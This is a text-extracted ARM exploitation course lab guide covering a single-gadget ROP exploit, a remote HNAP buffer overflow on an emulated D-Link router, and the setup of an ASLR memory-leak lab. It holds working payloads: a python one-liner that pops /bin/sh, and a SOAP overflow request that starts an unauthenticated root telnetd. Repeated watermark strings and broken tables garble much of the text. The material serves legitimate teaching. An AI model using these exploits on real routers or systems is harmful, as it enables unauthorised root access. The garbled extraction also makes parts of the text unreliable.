Let's review what will happen here. Like our previous buffer overflow exploits, we will overflow the saved lr with gadget1.
This is the first thing we want to execute.
stack
09b91222e5d2d3d668cf8e52ec5d35ba
binstr_addr
CCCC
system_addr
micede1865@wii999_com
pop {r0, r4, pc}
r0=binstr_addr
r4=43434343
24356915
r0 holds the address of the "/bin/sh" string which is what we need for the call to the system function.
Paul Erwin
system("/bin/sh") gets executed and we get a shell!
We need to find the address of our rop gadget, system and the address of the "/bin/sh" string.
Since we are not using ASLR at this time, the address layout will be the same every time the program is ran. This means
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
that these locations will be the same every time.
We will find the addresses we need using gdb. In the Memory Leak lab, we will show a different technique.
Finding system
live
If you have exited out of gdb, open it back up with rop_target.
09b91222e5d2d3d668cf8e52ec5d35ba
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
Note
24356915
Don't forget the ctrl-c if your program doesn't reach the breakpoint after you start it with run .
(gdb) b main
Breakpoint 1 at 0x9b0016e
(gdb) run
Starting program: /home/nemo/labs/rop/rop_target
^C
Program received signal SIGINT, Interrupt.
Paul Erwin
0xb6fe12d8 in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
We did this to ensure that we are at a point where the libc shared object has been loaded into memory. We want to find
the address of the system function in libc, since this function allows us to run an arbitrary command on the target.
live
Now, this can be tricky because this is actually a THUMB instruction. We can verify this, by looking at the next few
instructions starting with the result, 0xb6f09990.
The x/5i <address> instruction will examine (x) 5 instructions (i) starting at "address".
09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) x/5i 0xb6f09990
0xb6f09990 <__libc_system>: cbz r0, 0xb6f09994 <__libc_system+4>
0xb6f09992 <__libc_system+2>: b.n 0xb6f09538 <do_system>
0xb6f09994 <__libc_system+4>: ldr r0, [pc, #16] ; (0xb6f099a8 <__libc_system+24>)
0xb6f09996 <__libc_system+6>: push {r3, lr}
micede1865@wii999_com
If you look at the first column, you will notice that each of these instructions are 2 bytes. This tells us they are THUMB
instructions.
Remember, that when you jump to thumb instructions, you have to add +1 to the address. So, for the system address, we
will use 0xb6f09991.
Finding "/bin/sh"
24356915
The "/bin/sh" string can also be found in libc. To verify this we can run strings on the .so file and grep for bin.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
malloc(): largebin double linked list corrupted (nextsize)
malloc(): largebin double linked list corrupted (bk)
/bin:/usr/bin
/bin/csh
/etc/bindresvport.blacklist
This string should be loaded in our address space at runtime, so we should be able to find it in gdb.
While still at our breakpoint in the main function, run the info proc mappings command in gdb.
09b91222e5d2d3d668cf8e52ec5d35ba
Start Addr
0x400000
0x9f00000
End Addr
0x401000
0x9f01000
Size
0x1000
0x1000
Offset
0x0
0x10000
objfile
/home/nemo/labs/rop/rop_target
/home/nemo/labs/rop/rop_target
0x9f10000 0x9f11000 0x1000 0x10000 /home/nemo/labs/rop/rop_target
0x9f11000 0x9f12000 0x1000 0x11000 /home/nemo/labs/rop/rop_target
0xb6ed7000 0xb6fc0000 0xe9000 0x0 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fc0000 0xb6fcf000 0xf000 0xe9000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fcf000 0xb6fd1000 0x2000 0xe8000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
micede1865@wii999_com
0xb6fd1000
0xb6fd3000
0xb6fd5000
0xb6fd3000
0xb6fd5000
0xb6fee000
0x2000
0x2000
0x19000
0xea000
0x0
0x0
/usr/lib/arm-linux-gnueabihf/libc-2.31.so
/usr/lib/arm-linux-gnueabihf/ld-2.31.so
0xb6ff9000 0xb6ffb000 0x2000 0x0
0xb6ffb000 0xb6ffc000 0x1000 0x0 [sigpage]
0xb6ffc000 0xb6ffd000 0x1000 0x0 [vvar]
0xb6ffd000 0xb6ffe000 0x1000 0x0 [vdso]
0xb6ffe000 0xb6fff000 0x1000 0x19000 /usr/lib/arm-linux-gnueabihf/ld-2.31.so
0xb6fff000 0xb7000000 0x1000 0x1a000 /usr/lib/arm-linux-gnueabihf/ld-2.31.so
0xbefdf000
0xffff0000
(gdb)
0xbf000000
0xffff1000
0x21000
0x1000
24356915 0x0
0x0
[stack]
[vectors]
This command shows how different sections are mapped into the running process memory. We see multiple entries for
libc (/usr/lib/arm-linux-gnueabihf/libc-2.31.so).
0xb6ed7000
0xb6fc0000
0xb6fcf000
0xb6fc0000
0xb6fcf000
0xb6fd1000
0xe9000
0xf000
0x2000
Paul Erwin 0x0
0xe9000
0xe8000
/usr/lib/arm-linux-gnueabihf/libc-2.31.so
/usr/lib/arm-linux-gnueabihf/libc-2.31.so
/usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fd1000 0xb6fd3000 0x2000 0xea000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
Let's start with the first section of libc that is loaded at address 0xb6ed7000 and ends at address 0xb6fc0000. We can do
this using gdb's (wonky) find command. The format for this command is: find , , 's', 't', 'r', 'i', 'n', 'g'
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
See help find in gdb for some confusing instructions.
(gdb) find 0xb6ed7000, 0xb6fc0000, '/', 'b', 'i', 'n', '/', 's', 'h'
0xb6fb734c
1 pattern found.
When we found gadget1 in libc using objdump, we were given only the offset. This is because the base address of libc is
09b91222e5d2d3d668cf8e52ec5d35ba
not determined until process runtime. The objdump tool uses 0 as a base.
The results of our objdump -d /lib/arm-linux-gnueabihf/libc-2.31.so | grep pop | grep r0 | grep pc were:
This tells us that the gadget we are looking for is at offset +0x5f3fc from the base of libc. Using the info proc mappings
micede1865@wii999_com
command above, we saw that the base of libc was 0xb6ed7000.
24356915
The address for gadget1 should be 0xb6f363fc.
Let's check this in gdb to verify that we see a pop {r0, r4, pc} instruction.
We can force gdb to show this instruction as arm using the arm force-mode setting. By default this is set to auto .
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) show arm force-mode
The current execution mode assumed (even when symbols are available) is "auto".
Now we get the instruction we expected, and we see gadget1 correctly at the expected address. Don't forget to change
09b91222e5d2d3d668cf8e52ec5d35ba
this setting back to auto .
Our stack
micede1865@wii999_com
When we throw our exploit, the stack should look like this.
stack
...
AAAA
AAAA
CCCC
0xb6f09991 (system_addr)
Paul Erwin
Try it.
Try plugging in these values and see if you can get a shell while in the debugger.
• Don't forget to enter the address bytes in reverse order since the system is little endian.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Don't forget your A's.
The same exploit used in the debugger should work from the command line.
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@mako:~/labs/rop$ ./rop_target $(python2 -c 'print "A"*68 + "\xfc\x63\xf3\xb6" +
"\x4c\x73\xfb\xb6" + "CCCC" + "\x91\x99\xf0\xb6"')
$
Summary
micede1865@wii999_com
In this lab we covered exploitation via a single rop gadget. Additional gadgets can be linked together and executed in
sequence using what's known as a rop chain. Rop can be an effective way to gain further access when we cannot deliver
executable code.
In this example we executed a shell, but rop can also be used to do things like disable memory protections that would
allow us to jump to and execute our own shellcode.
ROP Challenge
24356915
Use the following rop gadget from libc in your exploit. You will need at least one other gadget, but
you are required to use this one.
Mprotect Challenge
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Create a rop chain that calls mprotect and sets the stack permissions so that they are executable, then jump to and
execute your shellcode.
Note
live
This is an advanced challenge that pushes beyond what we have covered so far in class and is intended to be used as homework. It
has been included since it represents the natural progression of how we can use rop in a real world scenario.
09b91222e5d2d3d668cf8e52ec5d35ba
Background
In November 2016, Pedro Ribeiro disclosed a remote buffer overflow in the hnap process on Dlink routers. The overflow is
due to the improper implementation of strncpy with no bounds checks on user-provided input. An attacker can write past
a local stack buffer and overwrite the saved lr, giving them control of execution when the function returns.
micede1865@wii999_com
Hnap stands for Home Network Administration Protocol and on the target router, this runs in a separate process that gets
called from the httpd (parent) process.
Objectives
24356915
• Launching a remote buffer overflow exploit from the hammerhead vm
• (Optional) step through the memory corruption in the child process and observe how we gain control of execution via
a vulnerable implementation of strncpy
Lab Preparation
Paul Erwin
Note
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Accessing the dogfish vm
• User: nemo
• Password: nemo
live
• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.
• Use the command sudo start_dogfish.sh to start the dogfish virtual machine.
09b91222e5d2d3d668cf8e52ec5d35ba
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
startup ending with a login prompt.
...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK
micede1865@wii999_com
] Finished Availability of block devices.
dogfish login:
• The best way to connect to the dogfish vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
24356915
switch between tabs by clicking the names at the top of the Terminator window.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Starting up the emulated dlink router
Start the launch_dlink.sh script and enter nemo for the password when prompted. You should see the nvram scroll across
the screen and eventually see a busybox prompt as shown below.
nemo@dogfish:~$ ./launch_dlink.sh
[sudo] password for nemo:
... live
(lots of nvram settings will scroll by)
...
09b91222e5d2d3d668cf8e52ec5d35ba
You will also see log messages kick off in the other window that was used to startup the dog sh vm. These messages are
fi
from the dlink device booting up. This screen will continue to display messages throughout the duration of the lab.
Note
Since we did not emulate every single piece of hardware (ie wireless adapters, usb, etc), there will be lots and lots of errors.
micede1865@wii999_com
The ip address for the dlink router's web interface is 192.168.2.22. After the boot process runs for a while, we can open up
refox in our hammerhead vm and browse to this webpage. If we have successfully started up the emulated router, we
fi
should see a login prompt.
Warning
24356915
If you get a "Secure Connection Failed" error when trying to access the dlink interface, you have been redirected to the https page.
This means that the dlink router is still starting up its web services. Give it some more time and then try browsing to http://
192.168.2.22. Alternatively, you can follow the prompts in the web browser and connect via https.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
24356915
Note
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
This can be observed in ghidra by analyzing the cgibin binary and going to the address 0x18e2c and looking at the decompiled
output. The cgibin binary uses "hnap" as an alias when it is started from httpd. This means that the actual binary is named cgibin,
but when you look at the process with the ps command you will see that the process is called "hnap".
Opening this in ghidra is optional for this lab. See the Introduction to Ghidra lab if you are not familiar with using it, but would like to
view the vulnerable function on your own.
live
The names of the function and variables will not be the same if you look at this on your own. They have been added for clarity in the
lab. You can rename variables and the function with the lower-case L hotkey in ghidra.
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
24356915
Paul Erwin
Here is the same output in text format which may be easier to see in the lab guide.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
char * parseSoapParameter_00018e2c(char *input,char *tag_name,char *dest)
{
char end_tag [1024];
char start_tag [1024];
char buffer [1024];
char *tag_data_len;
char *offset;
char *tag_data_offset;
int start_tag_len_plus_1;
size_t start_tag_len;
live
sprintf(start_tag,"<%s>",tag_name);
sprintf(end_tag,"</%s>",tag_name);
start_tag_len = strlen(start_tag);
start_tag_len_plus_1 = start_tag_len + 1;
offset = strstr(input,start_tag);
micede1865@wii999_com
The vulnerability occurs when our input that we send in a web request is copied into buffer, a local stack character array
that can only hold 1024 bytes.
strncpy(buffer,tag_data_offset,(size_t)tag_data_len);
Note
24356915
The strncpy has a max value as the 3 rd parameter. However, the target process sets this max value based on the size of our input,
not the size of what the destination buffer can hold. See man strncpy from a command shell for more information.
Since there are no size checks prior to this strncpy, we are able to overflow the local buffer and gain control of the saved
lr.
Paul Erwin
Launching the exploit
In the exploit below, we use the "Captcha" field to overflow the target buffer.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Note
nemo@hammerhead:~$ cd ~/labs/dlink/
nemo@hammerhead:~/labs/dlink$ live
The payload in the exploit.py file will start a telnet service listening on port 23 on the emulated dlink system. Connecting
to the system via telnet will essentially give us a shell with root access. Since we are starting the telnet daemon (telnetd)
with no parameters, there will be no password.
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:~/labs/dlink$ telnet 192.168.2.22
Trying 192.168.2.22...
telnet: Unable to connect to remote host: Connection refused
Now, launch the exploit against the dlink router from the hammerhead vm.
micede1865@wii999_com
[+] Sending to 192.168.2.22 on port 80:
Paul Erwin
You can see our command (/usr/sbin/telnetd&) following the oversized buffer. If the exploit was successful, you should
now be able to connect to the dlink system via telnet.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
BusyBox v1.14.1 (2015-04-19 15:55:54 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
Success!!!
live
(Optional) Debugging the hnap process
From the dogfish vm, attach to the httpd process with gdb. Find the process id using the ps aux command and grepping
for httpd. Don't forget to use sudo when executing gdb.
In the following sections, you may notice that the hostname for the dogfish vm may be different from what you see in your output.
09b91222e5d2d3d668cf8e52ec5d35ba
The hostname changes to dlinkrouter and will be seen this way for any ssh sessions that happen after the emulated dlink router
has booted up. This change is not permanent and will be reset when the dogfish vm is rebooted. This happens with the netgear
router as well and is due to the hostname being set when the nvram is being processed.
micede1865@wii999_com
nemo@dogfish:~$ ps aux | grep httpd
root 5529 0.8 0.3 4736 3332 ? S 11:49 0:00 httpd -f /var/run/httpd.conf
nemo 5767 0.0 0.0 6764 560 pts/1 S+ 11:49 0:00 grep --color=auto httpd
warning: Could not load shared library symbols for 3 libraries, e.g. /lib/libcrypt.so.0.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
Paul Erwin
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0xb6f77a6c in ?? ()
...
(gdb)
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Set a breakpoint at the address 0xbbb8 and continue execution.
(gdb) b * 0xbbb8
Breakpoint 1 at 0xbbb8
(gdb) c
Some reverse engineering of the httpd binary was done to determine this breakpoint. At the address 0xbbb8, there is a
0000bbb8 bl FUN_000158b4
live
branch link to another function (0x000158b4) which is likely the "spawn" function.
The function at 0x000158b4 contains the string, "spawn: failed to create child process". Based on string patterns seen
elsewhere in the binary, the string is likely the function name followed by a colon. The "spawn" function is responsible for
09b91222e5d2d3d668cf8e52ec5d35ba
Debugging a crash in hnap
Now, from the hammerhead vm, let's execute the crash.py script.
micede1865@wii999_com
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/
XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>something</Action>
<Username>Admin</Username>
<LoginPassword></LoginPassword>
24356915
<Captcha>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
usr/sbin/telnetd&</Captcha>
</Login>
</soap:Body>
</soap:Envelope>
We should hit the breakpoint at 0xbbb8 that resides in the process_cgi function and is calling the spawn function.
Breakpoint 1, 0x0000bbb8 in ?? ()
Paul Erwin
(gdb)
Try it
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
While you're at this breakpoint, check out the registers and the arguments that will be passed to spawn. Below are some example
commands to try. Also, check some of the addresses that $r1 and $r2 point to.
i r
x/s $r0
x/10wx $r1
x/10wx $r2
live
We want to break here because we want to change a setting in gdb after we throw the exploit, but before we move on
from this breakpoint. We want to change the follow-fork-mode from parent to child.
Breakpoint 1, 0x0000bbb8 in ?? ()
(gdb) show follow-fork-mode
Debugger response to a program call of fork or vfork is "parent".
09b91222e5d2d3d668cf8e52ec5d35ba
Note
Normally, if a child process gets created, gdb continues to debug the same, parent process. This is the default behavior.
This will cause gdb to detach from the parent process and attach to the child process (cgibin/hnap) automatically.
Warning micede1865@wii999_com
The timing can be a little tricky here. If we change this setting too early, we may detach from gdb too soon and not follow the
correct process.
For the best results, don't interact with the web interface once you set this breakpoint. Just browsing to the page will trigger the
breakpoint prematurely. Set the breakpoint and then launch the exploit.py script from hammerhead.
24356915
Here we set follow-fork-mode to child and verify that it has been changed in gdb. At this point we are still in the httpd
process. Let's continue
(gdb) c
Continuing.
Paul Erwin
In the gdb window on dogfish, we should see something similar to the output below. (process ids will vary)
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
live
From the gdb messages, we see that a new child process gets created with process id 7170. We also see that gdb
detaches from process 5529. At this point gdb is debugging the child process since we changed the follow-fork-mode
setting to child.
09b91222e5d2d3d668cf8e52ec5d35ba
We also see that we get a crash at 0x42424242. This is expected behavior when using the crash.py script. This overwrites
the saved lr, but does not jump to a valid code address.
Note
micede1865@wii999_com
The new process is called "hnap". This is just an alias. The actual binary that gets executed is named "cgibin" and is found in the
htdocs folder in the emulated dlink environment.
Using the "!", you can execute shell commands while still in gdb. While still in gdb, try running the following command. You should
see a match for the hnap process matching with the process id that matches the "Switching to process X" in your gdb output.
Note
Paul Erwin
If you are still in gdb, you will need to exit the old session with the quit command.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Inferior 2 [process 7170] will be detached.
Quit anyway? (y or n) y
Detaching from program: /home/nemo/dlink_rootfs/htdocs/cgibin, process 7170
[Inferior 2 (process 7170) detached]
0xb6f77a6c in ?? ()
09b91222e5d2d3d668cf8e52ec5d35ba
(gdb)
You may notice that the httpd process has the same process id. This is because the httpd service never crashed. Only the
hnap (cgibin) child process crashed after it was started by httpd.
We will follow the same procedure and break at address 0xbbb8 and continue execution.
micede1865@wii999_com
(gdb) b * 0xbbb8
Breakpoint 1 at 0xbbb8
(gdb) c
Continuing.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
</soap:Envelope>
We should hit our breakpoint in gdb. This time we are going to issue two commands.
We will:
• Set the follow-fork-mode setting in gdb to follow the child process hnap (cgibin) so that when this child process gets
started, gdb will detach from the parent (httpd) and start debugging the child process hnap (cgibin).
live
• Set a new breakpoint that will pause execution while we are in the hnap process. We are setting this breakpoint while
still in the httpd process, but that is ok, gdb will remember this, and it will carry over into the child process.
The new breakpoint will be at address 0x18e2c. This is the vulnerable function we looked at previously in the cgibin binary
("hnap" process).
09b91222e5d2d3d668cf8e52ec5d35ba
After continuing, gdb will follow the child process and hit the breakpont at 0x18e2c.
(gdb) c
Continuing.
[Attaching after process 5529 fork to child process 6026]
[New inferior 2 (process 6026)]
micede1865@wii999_com
[Detaching after fork from parent process 5529]
[Inferior 1 (process 5529) detached]
process 6026 is executing new program: /home/nemo/dlink_rootfs/htdocs/cgibin
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
[Switching to process 6026]
We should be able to view char * variables with the x/s (examine string) command in gdb.
Paul Erwin
Since we are at the beginning of this function, we should be able to see the arguments in r0, r1, and r2.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) x/s $r1
0x2b8a8: "Action"
09b91222e5d2d3d668cf8e52ec5d35ba
• r1 shows the parameter or tag that this function is going to parse
• We use x/64bx $r2 to show 64 bytes starting at the r2 value since it is the destination for the parsing which occurs
during this function and shouldn't hold any data yet
If you recall, "Action" is one of the first parameters in our SOAP request.
<Action>something</Action>
micede1865@wii999_com
<Username>Admin</Username>
<LoginPassword></LoginPassword>
<Captcha>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
usr/sbin/telnetd&</Captcha>
This function will parse out "something" from the Action parameter. It will get called again to parse out Username,
24356915
LoginPassword, and Captcha. Let's observe this. By continuing, we can see the same breakpoint get hit multiple times.
(gdb) c
Continuing.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Thread 2.1 "hnap" hit Breakpoint 2, 0x00018e2c in ?? ()
(gdb) x/s $r1
0x2b8cc: "Captcha"
(gdb)
Now, we are stopped where this function is going to parse out the input between "Captcha" and "/Captcha". However, due
to the vulnerability, the local stack buffer cannot hold this much data and there are no bounds checks preventing us from
live
copying it in. Here is a copy of the vulnerable function again from ghidra's decompiler that has been labeled.
See the Introduction to Ghidra lab, if you would like to find this function and look at it in the cgibin binary. You can find it at
09b91222e5d2d3d668cf8e52ec5d35ba
address 0x18e2c. The variable and function names (labels), and comments will not be set unless you do this yourself with the 'l'
(lower-case L) hotkey.
{
char end_tag [1024];
micede1865@wii999_com
char start_tag [1024];
char buffer [1024];
char *tag_data_len;
char *offset;
char *tag_data_offset;
int start_tag_len_plus_1;
size_t start_tag_len;
sprintf(start_tag,"<%s>",tag_name);
sprintf(end_tag,"</%s>",tag_name);
start_tag_len = strlen(start_tag);
24356915
start_tag_len_plus_1 = start_tag_len + 1;
offset = strstr(input,start_tag);
if (offset != (char *)0x0) {
tag_data_offset = offset + start_tag_len;
offset = strstr(tag_data_offset,end_tag);
if ((offset != (char *)0x0) &&
Paul Erwin
(tag_data_len = offset + -(int)tag_data_offset, -1 < (int)tag_data_len)) {
/* vulnerable strncpy */
strncpy(buffer,tag_data_offset,(size_t)tag_data_len);
buffer[(int)tag_data_len] = '\0';
offset = strcpy(dest,buffer);
}
}
return offset;
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
}
The problem here is the strncpy that copies into buffer[1024]. This is a fixed size buffer located on the stack and we have
sent in more input than what it can hold via our exploit.py script.
strncpy(buffer,tag_data_offset,(size_t)tag_data_len);
live
The tag_data_offset and tag_data_len variables are based on results of the parsing that is done earlier in the function. The
tag_data_offset should point to the beginning of our A's.
Just like the vulnerabilities in our sample programs, we can see how the fundamental problems can show up in real-world
09b91222e5d2d3d668cf8e52ec5d35ba
scenarios.
Let's set a breakpoint before and after the strncpy to view the overflow. Currently, our program counter (pc) is at the
beginning of the function.
If we examine some instructions starting with pc, we will eventually see the call to strncpy in this function.
Note micede1865@wii999_com
Don't mistake strcpy for strncpy. For this vulnerability, strncpy is what we want to observe.
You may need to hit enter a few times to scroll down until you see the bl to strncpy.
(gdb) b * 0x18f4c
Breakpoint 3 at 0x18f4c
(gdb) b * 0x18f50
Breakpoint 4 at 0x18f50
(gdb) c
Paul Erwin
Continuing.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
After continuing, we should break on the call to strncpy. Let's observe a few things.
The strncpy function prototype looks like this. You can run man strncpy from a shell to verify this.
If we look at the registers, we see the destination, source, and max size.
(gdb) i r
r0 0xbeffeecc 3204443852
live
r1 0x377ea 227306
r2 0x436 1078
Next we see the address of the source data. R1 points to the address 0x377ea. Let's view that.
09b91222e5d2d3d668cf8e52ec5d35ba
Note
0x377ea:
micede1865@wii999_com
(gdb) x/s $r1
'A' <repeats 200 times>...
Gdb is being concise and is showing us that there are a lot of A's. The length in the r2 variable shown above shows us the
value 0x436 or 1078 decimal. Let's look at this in gdb with the x/bx command and specify the length of 1078.
This is the parsed value of our parameter and if you hit enter multiple times, you will see all of our input.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x37bfa:
0x37c02:
0x37c0a:
0x43
0x98
0xb8
0x43
0x62
0xec
0x43
0xf9
0xfb
0x43
0xb6
0xb6
0x43
0x70
0x2f
0x43
0x82
0x75
0x43
0xfd
0x73
0x43
0xb6
0x72
0x37c12: 0x2f 0x73 0x62 0x69 0x6e 0x2f 0x74 0x65
0x37c1a: 0x6c 0x6e 0x65 0x74 0x64 0x26
(gdb)
• 0xb6fbecb8
• AAAA's
• 0xfffff
• 20 C's
micede1865@wii999_com
• gadget1 0xb6f96298
• system (0xb6fd8270)
• gadget 2 (0xb6fbecb8)
• command string
24356915
We can view the gadget instructions with the following commands.
This is gadget1 and will be the first rop gadget that gets executed once we gain control by overwriting the stored lr. It will
Paul Erwin
pop the address for system into r3 and pop gadget2 into pc.
This is gadget2. It will move the address of sp, which now points to the command string into r0, and then call r3 which is
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
the address of system that was stored there in the previous gadget.
This will execute the following and allow us to run an arbitrary shell command on the system.
In this example we executed /usr/sbin/telnetd& and start the telnet service, allowing us to login with root privileges
live
and without providing any credentials. We can view this by looking at our string in the input. It starts at 0x37c0e.
Since the strncpy hasn't occured yet, we still see the Captcha tag along with the rest of the string.
At this point, we are still sitting at the breakpoint just before the strncpy is executed. The saved lr is at address 0xbefff2e4
09b91222e5d2d3d668cf8e52ec5d35ba
and can be observed using the following command. We look at some of the surrounding addresses just to highlight the
overflow that occurs after the call to strncpy.
Finally, let's continue execution and overflow the stack buffer, and overwrite the saved lr value of 0x197cc.
micede1865@wii999_com
(gdb) x/2i $pc
=> 0x18f4c: bl 0x94c4 <strncpy@plt>
0x18f50: movw r3, #64492 ; 0xfbec
(gdb) c
Continuing.
24356915
Thread 2.1 "hnap" hit Breakpoint 4, 0x00018f50 in ?? ()
(gdb)
Here we view 2 instructions to show where we are at and we then continue execution which gets us to the breakpoint just
after the strncpy function has returned.
The address of the saved lr was 0xbefff2e4. That has now been overwritten with gadget1's address 0xb6f96298 and we
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
see the rest of our rop chain followed by the command string.
• 0xb6f96298 gadget1
• 0xb6fd8270 system
• 0xb6fbecb8 gadget2
09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) del
Delete all breakpoints? (y or n) y
(gdb) c
Continuing.
[Attaching after process 6026 vfork to child process 16896]
[New inferior 3 (process 16896)]
[Detaching vfork parent process 6026 after child exec]
micede1865@wii999_com
[Inferior 2 (process 6026) detached]
process 16896 is executing new program: /home/nemo/dlink_rootfs/bin/busybox
[Attaching after process 16896 vfork to child process 16897]
[New inferior 4 (process 16897)]
[Detaching vfork parent process 16896 after child exec]
[Inferior 3 (process 16896) detached]
process 16897 is executing new program: /home/nemo/dlink_rootfs/usr/sbin/telnetd
If you ran the exploit.py previously, telnetd should already be running and you may see some errors related to this. However, if you
see the new process starting up, you have successfully leveraged the buffer overflow and executed arbitrary code on the target.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
A debugging session is active.
Quit anyway? (y or n) y
Detaching from program: /home/nemo/dlink_rootfs/usr/sbin/telnetd, process 16897
[Inferior 4 (process 16897) detached]
Summary live
In this lab, we launched an exploit against a remote buffer overflow vulnerability. The exploit takes advantage of a strncpy
into a fixed size buffer. There is no check on the size of the input allowing us to over write past the stack buffer and
overwrite the saved lr.
Dlink Challenge
09b91222e5d2d3d668cf8e52ec5d35ba
Use another parameter besides "Captcha" for this exploit.
Hint:
Make a copy of the existing exploit.py file.
micede1865@wii999_com
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Background
ASLR can be a devastating exploit mitigation. Without knowledge of the memory layout, attackers don't know what
addresses to use in their payloads. Memory leaks can potentially provide enough information to piece together an
effective exploit. In this lab we use a staged memory leak in order to demonstrate how they can be leveraged to bypass
ASLR.
Objectives
micede1865@wii999_com
• Finding the base address of a memory segment given a leaked address
• Using tools to find the offset of items within a memory segment (readelf, objdump, radare2)
24356915
• Calculating required addresses in order to build a ROP chain to defeat ASLR
Lab Preparation
Note
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• User: nemo
• Password: nemo
• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.
live
• Use the command sudo start_mako.sh to start the mako virtual machine.
nemo@hammerhead:~$ cd qemu/mako
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
09b91222e5d2d3d668cf8e52ec5d35ba
startup ending with a login prompt.
...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK ] Finished Availability of block devices.
micede1865@wii999_com
Ubuntu 20.04.2 LTS mako ttyAMA0
mako login:
• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
switch between tabs by clicking the names at the top of the Terminator window.
Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Change into the ~/labs/leak folder.
nemo@mako:~$ cd labs/leak
This vm is setup so that ASLR is off by default. To view the status of ASLR, issue the following command. If the result is 0,
ASLR is turned off.
live
nemo@mako:~/labs/leak$ cat /proc/sys/kernel/randomize_va_space
0
We want ASLR turned on for this lab. Run the following commands and use the password nemo when prompted.
nemo@mako:~/labs/leak$ sudo -i
[sudo] password for nemo:
09b91222e5d2d3d668cf8e52ec5d35ba
2
root@mako:~# exit
logout
nemo@mako:~/labs/leak$
micede1865@wii999_com
Testing the leak program
Have a look at the source code for our target binary, leak.
This program will wait for user input and respond to a small set of commands (dir, clue, exit, and reload). Give it a try. Run
leak and issue 2 test commands.
24356915
nemo@mako:~/labs/leak$ ./leak
The leak program's clue command is designed to simulate a memory leak. Having a valid runtime address can allow us
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
to calculate the additional addresses we need to bypass ASLR. The clue command will dump the address of the
memmove function.
Note
Since we turned on ASLR, the address of memmove will be different every time the process restarts.
live
Try running the program and exiting a few times. Be sure to issue the clue and exit commands.
